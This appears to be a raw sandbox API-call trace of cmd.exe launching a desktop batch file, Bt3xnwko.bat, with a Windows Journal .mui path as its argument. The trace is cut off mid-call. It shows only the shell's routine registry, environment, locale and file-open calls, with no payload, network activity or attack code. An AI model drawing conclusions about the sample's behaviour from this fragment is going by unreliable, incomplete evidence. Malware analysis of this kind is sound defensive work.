RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x4, lpData=0x41ec30*=0x9, lpcbData=0x41ec28*=0x4) returned 0x0 [0094.429] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x4, lpData=0x41ec30*=0x9, lpcbData=0x41ec28*=0x4) returned 0x0 [0094.429] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x0, lpData=0x41ec30*=0x9, lpcbData=0x41ec28*=0x1000) returned 0x2 [0094.429] RegCloseKey (hKey=0x68) returned 0x0 [0094.429] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710f1 [0094.429] srand (_Seed=0x5e2710f1) [0094.429] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"\"" [0094.429] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"\"" [0094.429] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0094.430] GetProcessHeap () returned 0x840000 [0094.430] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x210) returned 0x854068 [0094.430] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x854070, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0094.430] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0094.430] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0094.430] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0094.430] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0094.430] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0094.430] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0094.430] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0094.430] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0094.430] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0094.430] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0094.430] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0094.430] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0094.430] GetProcessHeap () returned 0x840000 [0094.430] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x854b40 | out: hHeap=0x840000) returned 1 [0094.430] GetEnvironmentStringsW () returned 0x854280* [0094.431] GetProcessHeap () returned 0x840000 [0094.431] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xae2) returned 0x856be0 [0094.431] FreeEnvironmentStringsW (penv=0x854280) returned 1 [0094.431] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.431] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0094.431] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0094.431] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0094.431] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0094.431] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0094.431] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0094.431] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0094.431] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0094.431] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0094.431] GetProcessHeap () returned 0x840000 [0094.431] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x54) returned 0x8576d0 [0094.431] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41f9f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0094.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x41f9f0, lpFilePart=0x41f9ec | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f9ec*="Desktop") returned 0x25 [0094.431] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0094.431] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41f76c | out: lpFindFileData=0x41f76c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x853ee8 [0094.431] FindClose (in: hFindFile=0x853ee8 | out: hFindFile=0x853ee8) returned 1 [0094.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41f76c | out: lpFindFileData=0x41f76c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x853ee8 [0094.432] FindClose (in: hFindFile=0x853ee8 | out: hFindFile=0x853ee8) returned 1 [0094.432] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0094.432] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41f76c | out: lpFindFileData=0x41f76c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x853ee8 [0094.432] FindClose (in: hFindFile=0x853ee8 | out: hFindFile=0x853ee8) returned 1 [0094.432] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0094.432] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0094.432] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0094.432] GetProcessHeap () returned 0x840000 [0094.432] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x856be0 | out: hHeap=0x840000) returned 1 [0094.432] GetEnvironmentStringsW () returned 0x8560f0* [0094.432] GetProcessHeap () returned 0x840000 [0094.432] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xb36) returned 0x857f30 [0094.432] FreeEnvironmentStringsW (penv=0x8560f0) returned 1 [0094.432] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0094.432] GetProcessHeap () returned 0x840000 [0094.432] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x8576d0 | out: hHeap=0x840000) returned 1 [0094.432] GetProcessHeap () returned 0x840000 [0094.432] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400e) returned 0x858a70 [0094.433] GetProcessHeap () returned 0x840000 [0094.433] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xea) returned 0x854dc0 [0094.433] GetProcessHeap () returned 0x840000 [0094.433] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x4008) returned 0x85ca88 [0094.433] GetProcessHeap () returned 0x840000 [0094.433] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x4008) returned 0x860a98 [0094.434] GetProcessHeap () returned 0x840000 [0094.434] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x858a70 | out: hHeap=0x840000) returned 1 [0094.434] GetConsoleOutputCP () returned 0x1b5 [0094.434] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0094.434] GetUserDefaultLCID () returned 0x409 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x41fb30, cchData=128 | out: lpLCData="0") returned 2 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x41fb30, cchData=128 | out: lpLCData="0") returned 2 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x41fb30, cchData=128 | out: lpLCData="1") returned 2 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0094.435] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0094.435] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0094.437] GetProcessHeap () returned 0x840000 [0094.437] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x0, Size=0x20c) returned 0x854eb8 [0094.437] GetConsoleTitleW (in: lpConsoleTitle=0x854eb8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.437] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0094.437] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0094.437] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0094.437] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0094.440] GetProcessHeap () returned 0x840000 [0094.440] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x400a) returned 0x858a70 [0094.440] GetProcessHeap () returned 0x840000 [0094.440] HeapFree (in: hHeap=0x840000, dwFlags=0x0, lpMem=0x858a70 | out: hHeap=0x840000) returned 1 [0094.442] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0094.442] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0094.442] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0094.442] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0094.442] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0094.442] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0094.442] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0094.442] GetProcessHeap () returned 0x840000 [0094.442] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x58) returned 0x8550d0 [0094.442] GetProcessHeap () returned 0x840000 [0094.442] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x72) returned 0x850ee0 [0094.443] GetProcessHeap () returned 0x840000 [0094.443] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x7a) returned 0x855130 [0094.444] GetConsoleTitleW (in: lpConsoleTitle=0x41f828, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.444] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0094.445] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0094.445] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0094.445] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0094.445] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0094.445] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0094.445] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0094.445] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0094.445] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0094.445] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0094.445] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0094.445] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0094.445] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0094.445] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0094.445] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0094.445] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0094.445] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0094.445] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0094.445] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0094.445] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0094.445] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0094.445] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0094.445] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0094.445] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0094.445] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0094.445] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0094.445] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0094.445] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0094.445] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0094.445] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0094.445] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0094.445] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0094.445] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0094.445] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0094.446] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0094.446] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0094.446] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0094.446] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0094.446] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0094.446] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0094.446] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0094.446] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0094.446] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0094.446] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0094.446] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0094.446] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0094.446] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0094.446] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0094.446] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0094.446] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0094.446] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0094.446] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0094.446] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0094.446] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0094.446] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0094.446] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0094.446] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0094.446] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0094.446] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0094.446] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0094.446] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0094.446] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0094.446] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0094.446] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0094.446] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0094.446] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0094.446] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0094.446] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0094.446] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0094.446] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0094.446] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0094.447] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0094.447] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0094.447] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0094.447] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0094.447] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0094.447] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0094.447] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0094.447] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0094.447] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0094.447] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0094.447] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0094.447] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0094.447] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0094.447] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0094.447] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0094.447] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0094.447] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0094.447] GetProcessHeap () returned 0x840000 [0094.447] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x210) returned 0x8551b8 [0094.447] GetProcessHeap () returned 0x840000 [0094.447] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xe4) returned 0x8553d0 [0094.449] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0094.449] GetProcessHeap () returned 0x840000 [0094.449] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x418) returned 0x8407f0 [0094.449] SetErrorMode (uMode=0x0) returned 0x0 [0094.449] SetErrorMode (uMode=0x1) returned 0x0 [0094.449] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x8407f8, lpFilePart=0x41f348 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f348*="Desktop") returned 0x25 [0094.449] SetErrorMode (uMode=0x0) returned 0x1 [0094.449] GetProcessHeap () returned 0x840000 [0094.449] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x8407f0, Size=0x6e) returned 0x8407f0 [0094.449] GetProcessHeap () returned 0x840000 [0094.449] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x8407f0) returned 0x6e [0094.449] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0094.449] GetProcessHeap () returned 0x840000 [0094.449] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x5a) returned 0x8554c0 [0094.449] GetProcessHeap () returned 0x840000 [0094.449] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xa8) returned 0x855528 [0094.449] GetProcessHeap () returned 0x840000 [0094.449] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x855528, Size=0x5a) returned 0x855528 [0094.449] GetProcessHeap () returned 0x840000 [0094.449] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x855528) returned 0x5a [0094.449] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0094.449] GetProcessHeap () returned 0x840000 [0094.449] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xe0) returned 0x840868 [0094.453] GetProcessHeap () returned 0x840000 [0094.453] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x840868, Size=0x76) returned 0x840868 [0094.453] GetProcessHeap () returned 0x840000 [0094.453] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x840868) returned 0x76 [0094.453] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0094.453] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x41f0e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0e4) returned 0x855590 [0094.453] GetProcessHeap () returned 0x840000 [0094.453] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x0, Size=0x14) returned 0x8555d0 [0094.453] FindClose (in: hFindFile=0x855590 | out: hFindFile=0x855590) returned 1 [0094.453] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0094.453] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0094.453] GetConsoleTitleW (in: lpConsoleTitle=0x41f5bc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0094.454] GetProcessHeap () returned 0x840000 [0094.454] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x11c) returned 0x8408e8 [0094.454] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0094.454] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0094.454] IdentifyCodeAuthzLevelW () returned 0x1 [0094.460] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0094.460] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0094.460] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0094.460] CloseCodeAuthzLevel () returned 0x1 [0094.460] SetErrorMode (uMode=0x0) returned 0x0 [0094.460] SetErrorMode (uMode=0x1) returned 0x0 [0094.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x8551c0, lpFilePart=0x41f4a8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x41f4a8*="Bt3xnwko.bat") returned 0x32 [0094.461] SetErrorMode (uMode=0x0) returned 0x1 [0094.461] GetProcessHeap () returned 0x840000 [0094.461] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x72) returned 0x850f60 [0094.461] wcsspn (_String=" \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"", _Control=" \x09") returned 0x1 [0094.461] GetProcessHeap () returned 0x840000 [0094.461] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x78) returned 0x850fe0 [0094.461] GetProcessHeap () returned 0x840000 [0094.461] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xe8) returned 0x8411b8 [0094.461] GetProcessHeap () returned 0x840000 [0094.461] RtlReAllocateHeap (Heap=0x840000, Flags=0x0, Ptr=0x8411b8, Size=0x7a) returned 0x8411b8 [0094.461] GetProcessHeap () returned 0x840000 [0094.461] RtlSizeHeap (HeapHandle=0x840000, Flags=0x0, MemoryPointer=0x8411b8) returned 0x7a [0094.461] CmdBatNotification () returned 0x855222 [0094.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f4ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0094.461] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0094.461] _get_osfhandle (_FileHandle=3) returned 0x78 [0094.461] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.462] _get_osfhandle (_FileHandle=3) returned 0x78 [0094.462] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.462] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f4d0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x41f4d0*=0xe2, lpOverlapped=0x0) returned 1 [0094.462] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0094.462] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, 